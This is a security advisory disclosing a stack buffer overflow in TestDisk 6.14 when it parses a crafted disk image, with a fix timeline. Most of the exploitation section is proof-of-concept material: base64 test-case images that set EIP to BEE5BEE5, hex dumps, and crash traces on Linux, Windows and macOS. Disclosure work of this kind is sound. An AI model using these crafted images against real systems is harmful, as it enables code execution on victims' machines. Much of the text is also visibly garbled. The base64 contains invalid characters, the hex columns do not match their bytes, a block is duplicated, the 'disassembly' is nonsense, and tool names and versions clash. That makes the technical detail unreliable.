## Vulnerability Advisory – Vendor Disclosure

<table>
<thead>
<tr>
<th>Name</th>
<th>TestDisk check_OS2MB Stack Buffer overflow</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vendor Website</td>
<td><a href="http://www.cgsecurity.org">www.cgsecurity.org</a></td>
</tr>
<tr>
<td>Affected Software</td>
<td>TestDisk 6.14 - Linux, Mac OS X and Windows</td>
</tr>
<tr>
<td>Date Released</td>
<td>30/04/2015</td>
</tr>
<tr>
<td>Researchers</td>
<td>Denis Andzakovic</td>
</tr>
</tbody>
</table>

### Description

This document details a stack based buffer overflow vulnerability within TestDisk 6.14. A buffer overflow is triggered within the software when a malicious disk image is attempted to be recovered. This may be leveraged by an attacker to crash TestDisk and gain control of program execution. An attacker would have to coerce the victim to run TestDisk against their malicious image.

### Exploitation

The check_OS2MB method (fat.c, line 862) is vulnerable to a stack based buffer overflow. This is due to the 512 byte buffer ‘buffer’ (defined in fat.c, check_OS2MB method, line 864) being overflowed by a subsequent memcpy call in the cache_pread_aux method (hdcache.c, line 109). The third argument to the memcpy call (defining the amount of data to be copied) is controlled by the attacker, this is set in a header in the test case (offset 0xC in the test case on the following page, set to 2048, or 0x0800). The following screenshot shows the GDB back trace at the vulnerable memcpy call and the attacker controlled size argument:

![GDB Back Trace](image)
The following base64 data contains the test case which results in EIP control, in this case EIP being set to BEE5BEE5.

```
6zyQbWt:kb3dmcwAACAS0AAAIAIQ+AEAAQABAAAAAACs8kG1rZAAppj2J17SAgICAqICAgICAqICAgRkFU
ICAqICAqIEVBEUEyICAqOh+4W3ysIsBOC/Ay5M0ezRnr/jRoqXMqaxXmbmZ0IGQqYm9vdGFibGUn
ZGl2ay4gIFwsZXSwbNo1cmCqY1SBi290YlJsZ3SmbG9wcHkgYW5kJQpcmVzcyYhbnkgk2V5
IHRvIHRvIHRvICB12PbpiAuil5ADQoAAAAAAAABBBBBBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
```

The following hex dump shows the test case data. The value EIP is overwritten with is at 0x20C.

```
00000000  0b 2c 00 00 6b 64 6f 77  06 73 00 00 00 00 00 00  |<.mkdown>...
00000010  01 00 00 00 10 00 00 00  06 00 00 00 00 00 00 00  |<.rkd>..bb...
00000020  9c 9c 00 6b 64 00 29 8f  62 62 66 00 29 20 0c 20  |FAT12 ...
00000030  20 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | This is not a bootable
00000040  83 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | disk. Please insert a bootable
00000050  83 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | floppy and press
00000060  83 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | any key to try again ...
00000070  83 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |
```

Linux

The following screenshot shows the EIP control being obtained after compiling Testdisk with GCC 4.9.1.

![EIP Control](image)

Note that in the provided test case, 4 bytes at 0x210 have been set to a valid address within the TEXT segment of the TestDisk ELF file. This is due to GCC 4.7.2 compiling the Check_OS2MB method as follows:

```
PSSynchronizeCheckTable();

EIP Control
```

The instruction 'mov 0x8(%ebp), %eax' (0x08060a91) moves an attacker controlled portion of memory into the EAX register and subsequently tries to read from that address (mov 0x194(%eax)). Thus, this has to be set to a legitimate address, otherwise TestDisk performs an out-of-bounds memory read before returning from the check_OS2MB method.
As long as EDX and EAX do not match, the check_OS2MB method calls screen_buffer_add and log_redirect, then jumps to the end of the check_OS2MB method, successfully exploiting stack overflow and gaining EIP control.

The precompiled version of TestDisk has been compiled with a stack protector. In order to exploit the precompiled version, an attacker would have to find a way to bypass GCC’s ‘-fstack-protector’ functionality.

**Windows**

The following screenshot shows EIP control being obtained on the precompiled Windows version of TestDisk. This was tested on Windows 7 and 8.1:

### EIP Control

```
G:\Users\IE\Desktop\testdisk-6.14\testdisk_win.exe /list crash
TestDisk 6.14 Data Recovery Utility, July 2013
Christophe GRENIER <grenier@cgssecurity.org>
http://www.cgssecurity.org
Please wait...
Disk crash - 634 B - 1 sectors
Sector size: 5120

 1 [main] ? 2928 exception: handle: Exception: STATUS_ACCESS_VIOLATION
 453 [main] ? 2928 open_stackdumpfile: Dumping stack trace to testdisk_win.exe.stackdump
G:\Users\IE\Desktop\testdisk-6.14\type testdisk_win.exe.stackdump
Exception: STATUS_ACCESS_VIOLATION at eip=BEE5BEE5
eax=00000001 ebx=00000000 ecx=00000000 edx=00000100 esi=29000000 edi=ED5262B8
esp=00000000 ebp=0022A3B8 program: C:\Users\IE\Desktop\testdisk-6.14\testdisk_win.exe, pid 2928, thread main
cs=001B ds=0023 es=0000 gs=0000 ss=0023
Stack trace:
  Frame  Function  Args
End of stack trace
```

**Mac OSX**

An attacker can also gain EIP control on the Mac OSX version of TestDisk 6.14, however the original test case needs to be padded. The value EIP is overwritten with is at 0x21C in the OSX test case. The following tables detail the base64 and hexdump of the OSX crash test case. As in the above examples, EIP is overwritten with 0xBEE5BEE5.

### OSX Stack Overflow Test Case

```
6zyQbWtkb3dmcwAACAS0AEEAIAQ+AEAAQABAAAAAGs8kGlzZAApJZJ7ASAgICAqICAqICAgKkFU
ICAgICAgEZBVDVEYJCAhG4w3yIsABC/Cy5M0ezRnrc/1RoaxMqaXMgbm90lEGqYm9vdGF1bGUg
ZGlzay4gFBsZWFzZSbpbnN1cnQyYSBibZ90YWJsZSBmB9wXhgYTW5kQ29uc3Vyc2hyb29nbngz2V5
IHlRVlRyeSBUZ2FpbjAuLi5ADQoAAAAAA=='
```

### OSX Stack Overflow Test Case

```
6zyQbWtkb3dmcwAACAS0AEEAIAQ+AEAAQABAAAAAGs8kGlzZAApJZJ7ASAgICAqICAqICAgKkFU
ICAgICAgEZBVDVEYJCAhG4w3yIsABC/Cy5M0ezRnrc/1RoaxMqaXMgbm90lEGqYm9vdGF1bGUg
ZGlzay4gFBsZWFzZSbpbnN1cnQyYSBibZ90YWJsZSBmB9wXhgYTW5kQ29uc3Vyc2hyb29nbngz2V5
IHlRVlRyeSBUZ2FpbjAuLi5ADQoAAAAAA=='
```
The following screenshot shows the successful stack overflow:

```
00000000  eb 3c 80 d6 6b 64 6f 77 65 73 00 00 00 04 04 8e 00 |..<mkdomifs......|
00000010  01 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 |..........................|
00000020  03 08 8d 08 64 00 00 00 00 00 00 00 00 00 00 00 |..........................|
00000030  20 20 20 28 20 20 20 20 20 20 20 20 20 20 20 20 |FAT 12 ...[",|
00000040  46 41 54 32 32 20 20 20 20 20 0e 0f be 5b 7c 3c 22 c0 |is not a bootab|
00000050  74 88 03 32 8e 02 00 00 00 00 00 00 00 00 00 00 |le disk. Please |
00000060  69 73 2a 6e 6f 74 20 20 20 20 20 20 20 20 20 20 |insert a bootab|
00000070  65 20 04 6f 6e 6e 6f 74 20 20 20 20 20 20 20 20 |le floppy and..|
00000080  73 73 2f 61 6e 79 20 20 20 20 20 20 20 20 20 20 |try again ...0|
00000090  72 28 20 20 61 6e 6e 6f 74 20 20 20 20 20 20 20 | |
000000a0  30 30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
```

The following screenshot shows the successful stack overflow:

```
```

OSX Stack Overflow

Strawberry Disk-6.14 DOL J idb testdisk
(idb) target create 'testdisk'
Current executable set to 'testdisk' (idb).
(idb) x /list crash
Process 1571 launched: '/Users/Dol/research/testdisk-6.14/testdisk' (idb)
TestDisk 6.14, Data Recovery Utility, July 2013
Christophe GRENIER <grenier@cgssecurity.org>
http://www.cgsecurity.org
Please wait...
Disk crash - 546 B - 1 sectors
Sector size:2048

Process 1571 stopped
* thread #1: tid = 0x3de7, 0xbeeb5be5, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbeeb5be5)
frame #0: 0xbeeb5be5
error: memory read failed for 0xbeeb5be80
(idb)
```
Solution

Upgrade to TestDisk 7.0 or newer.

Timeline

9/04/2015 – Advisory sent to Christophe Grenier.
9/04/2015 – Response from Christophe Grenier advising that a fix is ready for the development version. Christophe advised a new stable version will be available in 2 weeks.
18/04/2015 – TestDisk 7.0 Released.
30/04/2015 – Release of this document.

Responsible Disclosure Policy

Security-Assessment.com follow a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor’s products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 470 1650